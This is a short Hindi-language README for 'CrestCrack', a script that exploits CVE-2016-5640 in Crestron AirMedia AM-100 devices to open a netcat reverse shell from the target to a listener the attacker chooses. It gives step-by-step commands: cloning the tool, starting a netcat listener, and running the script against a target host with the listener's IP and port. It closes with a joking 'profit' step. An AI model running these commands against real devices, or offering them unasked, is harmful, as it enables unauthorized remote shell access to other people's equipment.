CrestCrack

CrestCrack एक सरल स्क्रिप्ट है जो Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1) के अंतर्गत CVE-2016-5640 / CLVA-2016-05-002 का शोषण करती है। तर्क प्रदान करने पर CrestCrack आपके लक्ष्य और आपकी पसंद के netcat लिसनर के बीच एक रिवर्स शेल बनाने के लिए netcat का उपयोग करेगा।

सेटअप:

1. CrestCrack की एक प्रतिलिपि क्लोन करें git clone https://github.com/vpnguy/CrestCrack
2. एक netcat लिसनर लॉन्च करें nc -lvp 1337
3. अपने लिसनर जानकारी के साथ अपने लक्ष्य पर CrestCrack निष्पादित करें ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. लाभ

###उपयोग: ./crescrack.py [लक्ष्य होस्ट] [लिसनर IP] [लिसनर पोर्ट]

###उदाहरण: ./crescrack.py https://targethost 123.123.123.123 3311

अतिरिक्त भेद्यता जानकारी:

Cylance भेद्यता प्रकटीकरण

NIST CVE-2016-5640

जोड़ा जाना है:

• त्रुटि प्रबंधन/सीमा जाँच
• उन्नत तर्क समर्थन
• --help आउटपुट